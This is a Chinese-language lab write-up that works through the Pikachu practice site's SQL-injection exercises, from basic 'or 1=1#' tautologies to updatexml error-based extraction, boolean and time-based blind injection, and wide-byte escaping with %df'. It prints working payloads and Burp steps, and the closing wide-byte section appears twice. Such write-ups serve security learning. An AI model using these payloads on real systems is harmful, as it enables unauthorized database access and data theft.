SQL-inject
1、数字注入型(POST)
随便选择一个数字查询:
发现返回两个数据,一个是名字,一个是地址。所以我们判断网站SQL语句应该是:
$query="select username,email from member where id=$id"
所以我们可以构造语句:
select username,email from member where id = 1 or 1 = 1
其中的条件为两个,id=1的为真,或 1=1为真,故不管什么情况下,1=1都为真,所以id=1这个条件是真或假都无所谓,那么1和2的语句执行结果是一致的。
然后对其进行抓包,发现是以POST的形式提交的
发送至Repeater,将其修改并发送至Response。发现可以遍历。
2、字符型注入(GET)
先做测试,输入1,发现显示正常。
输入Kobe,显示存在账户。
输入单引号,出现错误回显,说明存在sql注入风险
猜测网站源码中的SQL语句为:
select email from usertable where username='kobe'
查看源码:
$query="select id,email from member where username='$name'"
构造闭合,payload为 kobe’or 1=1#,单引号与select email from usertable where username=‘kobe’ 构成闭合,or 1=1 条件恒成立。#注释掉了后面的第二个引号,成功查到了数据库中所有的用户信息。(等价于boke * from users表爆出所有用户)
"select id,email from member where username='$name' or 1=1#'"
3、搜索型注入
与字符型类似
都可以
k%’or 1=1#
kobe’or 1=1#
1’or 1=1#
4、XX型注入
输入Kobe’试试,发现该处用’)进行闭合。
所以要制造闭合:name’)or 1=1# 都可以,进行测试发现遍历出来。
5、insert/update注入
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
背景条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
1)inster注入
先注册,看是否有漏洞
首先,insert就是在数据库中添加数据
注册账号就是在数据库中添加账户数据
所以,在注册页面插入注入语句,猜测mysql语句为
insert into user(name,password,sex,phone,address1,address2) value(‘xxx’,123,1,2,3,4)
因此,在用户位置构造注入语句xxx’ or updatexml(1,concat(0x7e,database()),0) or ’
由报错信息可以知道,输入的数据直接拼接入该sql查询语句中,存在着SQL注入漏洞。由于页面直接返回了数据库具体的报错信息,在此可以使用报错注入。
构造语句:
kobe' or updatexml(1,concat(0x7e,database()),1) or'
这里是爆出数据库名。
此处利用的是updatexml()+concat()函数的报错,updatexml函数中的Xpath路径非法时会返回语法错误,但其中的语句仍然可以正常执行。內加concat函数是为了返回完整的database信息,将”~“符号(0x7e为该符号的十六进制格式)和database()函数返回的信息拼接。
由于回显的报错信息只能显示一行,这里用limit语句限制查询回显的信息行数为1。
0' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or '
修改limit参数即可一条一条地将所有当前库内的表给爆出。
2)update注入
随便注册一个账号,登录即会跳转至个人会员中心。
点击修改个人信息,随意在任意信息后加单引号并且提交
页面返回报错信息如下:
同理输入以下payload,也会直接爆出数据库名。
kobe' or updatexml(1,concat(0x7e,database()),1) or'
6、delete注入
先随便留个言
在删除留言时,进行burp抓包,数据包如下:
可以看到拦截到了一个get型的报文。
修改数据,把id后面改成以下payload
1 or updatexml(1,concat(0x7e,database()),0)
因为id是数字型的,所以无需单引号闭合。此处有一点要注意,一些关键字需要转化为URL格式,比如“#”符号需要变化为%23,其他需要转化的关键字有单引号,空格等。
然后回到浏览器即可发现存在漏洞。
7、“http header”注入
什么是Http Header注入
有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)
或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等等。
会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑,则可能会导致基于http header的SQL Inject漏洞。
使用提示内提供的账号密码admin/123456直接登录,页面显示:
打开burp的拦截,刷新该页面,将拦截到的报文发送至repeater。修改user agent参数,在其后加上单引号,页面返回报错信息:
修改Agent=1’,出现报错,判断有SQL注入
修改成我们的payload:
1' or updatexml(1,concat(0x7e,database()),0) or '
8、盲注(base on boolian)
什么是盲注?在有些情况下,后台使用了错误消息屏蔽方法(比如@ )屏蔽了报错此时无法在根据报错信息来进行注入的判断。这种情况下的注入,称为“盲注"也就是说, 我们只能通过页面是否正确来判断注入的SQL语句是否被成功执行
根据表现形式的不同,盲注又分为based boolean和based time两种类型。
基于boolean的盲注主要表现症状:
- 不管是正确的输入,还是错误的输入,都只显示两种情况(我们可以认为是0或者1)
- 在正确的输入下,输入and 1= 1/and 0= 1发现可以判断
- 没有报错信息
漏洞分析
这边我们知道, 用户名肯定是字符型, 所以注入类型也肯定是字符型
输入payload,修改url,记得每次修改url时,有特殊符号都要进行url编码,不然不符合url的格式:
kobe' and 1 = 1 # 页面正常
kobe' and 1 = 2 # 页面错误
证明存在注入点
在布尔盲注的过程中, 使用到二分法和一些mysql的函数, 比如mid(), ascii(), length()等等
比如, 假如我们要爆数据库名, 得先知道数据库的长度, 然后再一个个地去爆数据库名的每个字符,
为什么要采取这么麻烦的方式呢?因为页面不存在报错, 无法直接通过报错+联合查询注入得知, 所以只能一点点通过页面是否正确来判断。
爆数据库长度
kobe' and length(database())>8 # ==> 页面错误
kobe' and length(database())>6 # ==> 页面正确
因此可猜测数据库的长度为7,试一试
kobe' and length(database())=7 # ==> 页面正确
假如我们现在不知道数据库的名字,我们可以进行尝试判断,第一个字母是a
kobe' and left(database(),1)='a'# ==> 页面错误
我们继续尝试字母b,c,d…,直到p返回正常,说明数据库名字第一个字母是p,思路就是这样子,不断猜测得到需要的信息。
此处使用burp的intruder能够很方便地处理数据。
利用字符的ASCII码值逐个猜解数据库名的每个字符(记得要对该语段进行url编码):
kobe' and ascii(substr(database(),1,1))=num#
在positions栏内先点击 clear 来清除软件自动判定的定位符,再选中num的参数,点击 add 给选定的参数添加定位符。
在payloads栏内修改payload type为Numbers,在下方的Number range设置参数的范围,ASCII码值范围33-126覆盖了绝大多数的字符。step设置为1,设置完即可点击start attack开始注入。
在此根据返回页面length数据的差别可以看出,当前数据库名的第一个字符的ASCII码值为112。参照ASCII码表可知,第一个字符为p。
手动修改substr函数中的第二个参数,就能够得到数据库名中其他字符的ascii码值。通过ASCII码表转化可知,数据库名称为pikachu。
9、盲注(Base on Time)
基于时间的盲注,无论输入什么信息页面都返回相同的信息,无法根据页面返回信息来确认真假,但可以通过页面返回信息的时间长短来判断页面是否成功执行了注入的语句。
在pikachu的时间盲注类型测试框内无论输入正确还是错误的username,页面只返回一句话 “i don’t care who you are! ”
输入payload:
kobe' and sleep(5)#
输入以上语句,页面仍然返回这句话,但需要等待五秒以上,说明网页执行了语句中的sleep函数,存在着时间盲注漏洞。sleep函数的作用是使程序暂停一段时间,此处即是是网页的响应延时五秒。
接下来输入payload:
kobe' and if(length(database())=7, sleep(1),5)#
意思就是判断数据库名字长度是不是7,正确了秒回,不正确则延迟5 秒返回。
同理,接下来就是判断数据库名:
kobe' and if((select substr(database(),1,1))='p',sleep(1),5)#
判断数据库内表的个数:
kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(1),5)#
10、宽字节注入
漏洞分析
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
漏洞利用
构造payload过滤掉他的转义
kobe%df' or 1=1#
对其进行抓包,修改name的数据即可爆破。
加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
漏洞利用
构造payload过滤掉他的转义
kobe%df' or 1=1#
对其进行抓包,修改name的数据即可爆破。